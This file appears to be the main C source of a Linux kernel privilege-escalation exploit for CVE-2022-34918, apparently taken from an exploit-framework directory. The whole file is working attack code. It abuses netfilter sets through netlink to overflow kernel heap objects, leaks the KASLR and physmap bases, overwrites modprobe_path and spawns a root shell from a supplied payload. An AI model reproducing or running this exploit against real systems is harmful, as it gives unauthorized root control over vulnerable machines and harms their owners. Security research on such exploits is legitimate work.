external/source/exploits/CVE-2022-34918/src/main.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include "log.h"
#include "util.h"
#include "uring.h"
#include "keyring.h"
#include "modprobe.h"
#include "nf_tables.h"
#include "simple_xattr.h"
#define ID 1337
#define SET_NAME "name\0\0\0"
#define LEAK_SET_NAME "leak\0\0\0"
#define TABLE_NAME "table\0\0"
#define SPRAY_SIZE 300
int main(int argc, char **argv) {
int sock;
struct sockaddr_nl snl;
struct write4_payload payload;
struct keyring_payload leak_payload;
struct leak *bases;
struct fd_uring *fd_buffer;
key_serial_t *id_buffer;
char *xattr_target_filename;
if (argc != 2)
{
printf("[-] Usage: %s <payload_path>\n", argv[0]);
do_error_exit("argerror");
}
if (detect_versions() == -1)
{
do_error_exit("kernel_offsets");
}
/* Pin the process to the first CPU */
set_cpu_affinity(0, 0);
prepare_root_shell(argv[1]);
printf("[+] Second process currently waiting\n");
new_ns();
printf("[+] Get CAP_NET_ADMIN capability\n");
/* Netfilter netlink socket creation */
if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
do_error_exit("socket");
}
printf("[+] Netlink socket created\n");
// Binding
memset(&snl, 0, sizeof(snl));
snl.nl_family = AF_NETLINK;
snl.nl_pid = getpid();
if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0) {
do_error_exit("bind");
}
printf("[+] Netlink socket bound\n");
/* Create a netfilter table */
create_table(sock, TABLE_NAME);
printf("[+] Table %s created\n", TABLE_NAME);
/* Create a netfilter set for the info leak */
create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID);
printf("[+] Set for the leak created\n");
/* Create a netfilter set for the write primitive */
create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1);
printf("[+] Set for write primitive created\n");
/* Prepare the payload for the leak */
memset(&leak_payload, 0, sizeof(struct keyring_payload));
leak_payload.len = USHRT_MAX;
printf("[*] Leak in process\n");
fflush(stdout);
retry:
/* Spray the heap with user_key_payload structs to perform an info leak */
id_buffer = spray_keyring(SPRAY_KEY_SIZE);
/** Perform the overflow to modify the size of a registered key **/
add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload);
/* Spray the heap with percpu_ref_data */
fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));
if (!fd_buffer)
do_error_exit("calloc");
spray_uring(SPRAY_SIZE, fd_buffer);
/* Check if the overflow occured on the right object */
bases = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE);
if (!bases) {
release_keys(id_buffer, SPRAY_KEY_SIZE);
release_uring(fd_buffer, SPRAY_SIZE);
goto retry;
}
printf("\r[+] Leak succeed \n");
printf("[+] kaslr base found 0x%lx\n", bases->kaslr_base);
printf("[+] physmap base found 0x%lx\n", bases->physmap_base);
/* Prepare the payload for the write primitive */
memset(&payload, 0, sizeof(struct write4_payload));
payload.next = (void *)(bases->physmap_base + 0x2f706d74);
payload.prev = (void *)(bases->kaslr_base + kernels[kernel].modprobe_path + 1);
payload.name_offset = 0xe5;
respray_xattr:
/* Spray the heap for the write primitive */
xattr_target_filename = generate_tmp_filename();
spray_simple_xattr(xattr_target_filename, SPRAY_SIZE);
add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct write4_payload), (uint8_t *)&payload);
/* Proceed to the write */
if (removexattr(xattr_target_filename, XATTR_DELETION_NAME) < 0)
goto respray_xattr;
printf("[+] modprobe_path changed !\n");
setup_modprobe_payload(argv[1]);
printf("[+] Modprobe payload setup\n");
get_root_shell();
printf("[+++] Got root shell, should exit?\n");
/* Win ! */
exit(EXIT_SUCCESS);
}